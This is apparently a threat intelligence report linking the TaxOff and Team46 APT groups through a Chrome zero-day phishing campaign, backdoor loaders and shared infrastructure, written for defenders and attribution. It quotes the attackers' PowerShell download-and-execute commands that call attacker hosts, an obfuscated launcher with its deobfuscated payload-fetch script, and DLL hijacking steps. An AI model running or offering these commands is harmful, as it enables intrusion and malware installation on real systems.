Team46 and TaxOff: two sides of the same coin

Authors: 

Stanislav Pyzhov, Lead Threat Intelligence Specialist of the Positive Technologies Expert Security Center Sophisticated Threat Research Group

Vladislav Lunin, Senior Threat Intelligence Specialist of the Positive Technologies Expert Security Center Sophisticated Threat Research Group

In March 2025, the Threat Intelligence Department of the Positive Technologies Expert Security Center (PT ESC) analyzed an attack that exploited a Google Chrome zero-day vulnerability (sandbox escape), which was registered around the same time and has since been tracked as CVE-2025-2783. Researchers from Kaspersky described the exploitation of this vulnerability and the attack itself, but the subsequent infection chain remained unattributed.

In this report, we argue that the attack can be attributed to the TaxOff group, which we covered in our earlier study. This report also provides data that suggests that TaxOff is actually the same group as Team46, another group we had previously identified.

The attack that caught the attention of experts occurred in mid-March 2025. The initial attack vector was a phishing email containing a malicious link. When the victim clicked the link, it triggered a one-click exploit (CVE-2025-2783), leading to the installation of the Trinper backdoor employed by TaxOff. The phishing email was disguised as an invitation to the Primakov Readings forum and the link led to a fake website hosting the exploit. The text of the email can be found in the Kaspersky report.

During the investigation of that attack, another attack, dating back to October 2024, was discovered, which also began with a phishing campaign. The malicious emails contained an invitation to participate in an international conference called "Security of the Union State in the modern world."

The email structure and style are very similar to those observed in the March 2025 attack.

The October 2024 email contains the following link: https://mil-by[.]info/#/i?id=[REDACTED]. Clicking the link downloads an archive with a shortcut that launches powershell.exe with this command:

-w minimized -c irm https://ms-appdata-query.global.ssl.fastly.net/query.php?id=[REDACTED] | iex

Earlier, we saw a similar command in Team46 attacks:

-w Minimized -ep Bypass -nop -c "irm https://infosecteam.info/other.php?id=jdcz7vyqdoadr31gejeivo6g30cx7kgu | iex"

The PowerShell script downloaded after the execution of the command is also similar to one of the scripts used by Team46. Here is how the downloaded script looks like:

powershell.exe -w minimized -ep bypass -noni -nop -c Invoke-Expression $([char](10+0x18+0x2)+[char](100)+[char](0x33+0x18+0x21)+[char](0x64)+[char](99)+[char](56+0x29)+[char](111)+[char](12+0x43+0x29)+[char](22+99)+[char](0x25+56+28)+[char](100)+[char](0x70)+[char](20+0x2e+41)+[char](0x4c+0x2c)+[char](2+103)+[char](0+119)+[char](0x53+21)+[char](16+83)+[char](108)+[char](11+0x5c)+[char](105)+
[REDACTED]

After deobfuscation, the script appears as follows:

iwr 'https://ms-appdata-fonts.global.ssl.fastly.net/docs/minsk2025v1/[REDACTED]/document.pdf' -OutFile $env:LOCALAPPDATA\Temp\umawbfez-bkw5-f85a-3idl-3z4ql69v8it0.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0 Safari/537.36 Edge/125.0.0.0'; & "$env:LOCALAPPDATA\Temp\umawbfez-bkw5-f85a-3idl-3z4ql69v8it0.pdf"; if(!(Test-Path -Path "$env:LOCALAPPDATA\Microsoft\windowsapps\.Appdata\winsta.dll")){ if(!(Test-Path -Path "$env:LOCALAPPDATA\Microsoft\WindowsApps\7za.exe")){iwr "https://ms-appdata-fonts.global.ssl.fastly.net/docs/minsk2025v1/[REDACTED]/pkcs7" -OutFile "$env:LOCALAPPDATA\Microsoft\WindowsApps\7za.exe" -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0 Safari/537.36 Edge/125.0.0.0'};iwr "https://ms-appdata-main.global.ssl.fastly.net/asset.php?query=$env:COMPUTERNAME" -OutFile "$env:LOCALAPPDATA\Microsoft\WindowsApps\\Appdata.zip" -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0 YaBrowser/28.4.1.2 Safari/537.36';&  "$env:LOCALAPPDATA\Microsoft\WindowsApps\7za.exe" x -p'F5gk0a,20g' "$env:LOCALAPPDATA\Microsoft\WindowsApps\\Appdata.zip" -o"$env:LOCALAPPDATA\Microsoft\WindowsApps\";copy "c:\windows\system32\rdpclip.exe" "$env:LOCALAPPDATA\Microsoft\WindowsApps\.Appdata\rdpclip.exe"; & "$env:LOCALAPPDATA\Microsoft\WindowsApps\.Appdata\rdpclip.exe";del "$env:LOCALAPPDATA\Microsoft\WindowsApps\\Appdata.zip";}else{copy "c:\windows\system32\rdpclip.exe" "$env:LOCALAPPDATA\Microsoft\WindowsApps\.Appdata\rdpclip.exe";& "$env:LOCALAPPDATA\Microsoft\WindowsApps\.Appdata\rdpclip.exe"}

For comparison, here is a similar script found in a Team46 attack:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv480138.hstgr.cloud/uploads/scan_3824.pdf' -OutFile $env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.';$env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf;iwr 'https://srv480138.hstgr.cloud/report.php?query=$env:COMPUTERNAME' -OutFile $env:LOCALAPPDATA\Temp\AdobeUpdater.exe -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.1 YaBrowser/23.11.0.0 Safari/537.36';$env:LOCALAPPDATA\Temp\AdobeUpdater.exe;"

As you can see, the same pattern is used to name the decoy document on the victim's computer (umawbfez-bkw5-f85a-3idl-3z4ql69v8it0.pdf and 399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf). In both cases, the Edge User-Agent is used when downloading the decoy document, and the Yandex Browser User-Agent is used when downloading the payload. Moreover, in both cases, the computer name is passed via the query parameter.

The only real difference between those two cases is payload. The earlier attack, as described by Dr.Web, exploited a DLL hijacking vulnerability in Yandex Browser (CVE-2024-6473), with the adversaries replacing the legitimate Wldp.dll library to launch the malicious payload. In the October 2024 attack, the adversaries exploited the rdpclip.exe system component, which is also vulnerable to DLL hijacking, and replaced the winsta.dll system library.

Interestingly, winsta.dll serves as a loader for the Trinper backdoor employed by the TaxOff group, which we described earlier. The backdoor used the common-rdp-front.global.ssl.fastly.net C2 server.

This could be dismissed as a coincidence if it weren't for a similar attack recorded in September 2024. The phishing emails sent out by the attackers contained an archive called Корпоративного Центра ПАО «Ростелеком».zip, which included a shortcut called Ростелеком.pdf.lnk that launched powershell.exe with a command typical for Team46:

-w hid -ep Bypass -nop -c "irm https://srv510786.hstgr.cloud/ordinary.php?id=9826fbb409f65dc6b068b085551bf4f3 | iex"

The decoy document used in the attack was disguised as a message from Rostelecom, Russia's largest digital service provider, notifying of upcoming maintenance outages.

The phone number at the end of the message is in the Team46 style (which we discussed in our earlier article): it is incorrect and consists of a random sequence of digits. 

The payload in this attack was the AdobeARM.exe file, which happens to be a loader for the backdoor used in the first known Team46 attack described by Dr.Web. In fact, when analyzing one of the incidents, we discovered this backdoor, also dubbed AdobeARM.exe, on a system with the Trinper backdoor.

In the DllMain function, the loader initializes a structure containing the encrypted final payload, a list of hashes for further checks, and auxiliary fields such as the size of the final payload. After initializing the structure, the loader starts a thread that contains logic for decrypting and launching the final payload.

To describe the decryption process, we created a diagram showing the encryption layers and their sequence as well as corresponding decryption algorithms and keys.

Within the thread, the loader operates in a loop to decrypt the first layer of encryption, which is then used as a decryptor for the second layer.

Once the second layer is decrypted, control is transferred to it. This layer is obfuscated with a custom control flow flattening technique. It dynamically resolves all the necessary WinAPI functions and then transfers control to the main functionality.

At this stage, the loader checks for the presence of debuggers and ensures that its execution is performed in the right environment. The loader first verifies that it is being executed in the context of a specific process. For this, it uses a modified BLAKE2b hashing algorithm to compute the hash of the current process's name. The hash is matched against one of the embedded hashes; if the loader is not being executed in the right process, its execution is terminated.

Next, the loader obtains the firmware UUID by calling the GetSystemFirmwareTable function. (The UUID is then used in the payload decryption process, which means the malicious payload can only be decrypted on the target system. So far, we cannot say for sure how the attackers identified the machine UUIDs for malware generation.) After that, a debugging check through the heap is performed. If the check fails, it diverts the intended control flow, randomizing the UUID values and transferring control to an infinite decryption loop.

If all checks are successfully passed, the UUID is transferred to the function implementing the first round of the ChaCha20 algorithm to generate a key. Using this key, the loader decrypts the third layer of encryption with the ChaCha20 algorithm and performs an integrity check on the decrypted data. Next, the loader decrypts the fourth layer using ImagePathName from the PEB structure as a key. Data from the fourth layer is used to generate the final decryption key for the fifth layer (as in the case with the UUID). This stage also includes an integrity check of the decrypted bytes.

If the key is decrypted successfully, the loader uses it to decrypt the final layer of encryption, which happens to be the donut loader. 

We also encountered variations where Cobalt Strike was used instead of donut. If the final loader is donut, the payload is Trinper; otherwise, the payload is Cobalt Strike. Trinper has functionally remained the same.

The investigation found that the attackers also used self-written tools to conduct reconnaissance on the victim's system. All tools are written in .NET and transmit the obtained data through a named pipe. They include the following:

• dirlist.exe to search for files on the system.
• ProcessList.exe to obtain a list of running processes.
• ScreenShot.exe to capture screenshots.

Let's consider the facts suggesting that Team46 and TaxOff are likely to be the same group.

As described at the beginning of the report, both groups used similar PowerShell commands and scripts, including similar URL patterns.

Team46's command used in February 2024:

-w Minimized -ep Bypass -nop -c "irm https://infosecteam.info/other.php?id=jdcz7vyqdoadr31gejeivo6g30cx7kgu | iex"

Team46's command used in September 2024:

-w hid -ep Bypass -nop -c "irm https://srv510786.hstgr.cloud/ordinary.php?id=9826fbb409f65dc6b068b085551bf4f3 | iex"

TaxOff's command used in March 2025:

-w minimized -c irm https://ms-appdata-query.global.ssl.fastly.net/query.php?id=[REDACTED] | iex

Overall, the loader used by TaxOff is functionally identical to the Trojan.Siggen27.11306 loader used by Team46. The key similarities are as follows:

1. Use of a thread to decrypt the payload.
2. Use of the firmware UUID as a key.
3. Use of ImagePathName as a key.
4. Use of a modified ChaCha20 encryption algorithm.
5. Use of a modified BLAKE2 hashing algorithm.
6.  Use of the donut loader.

Both groups used syntactically similar domain names with hyphens, mimicking legitimate services. For example:

Team46: ms-appdata-fonts.global.ssl.fastly.net

TaxOff: fast-telemetry-api.global.ssl.fastly.net

Our study strongly suggests that Team46 and TaxOff are in fact the same APT group, which we will continue to refer to as Team46. This group leverages zero-day exploits, which enables it to penetrate secure infrastructures more effectively. The group also creates and uses sophisticated malware, implying that it has a long-term strategy and intends to maintain persistence on the compromised systems for an extended period.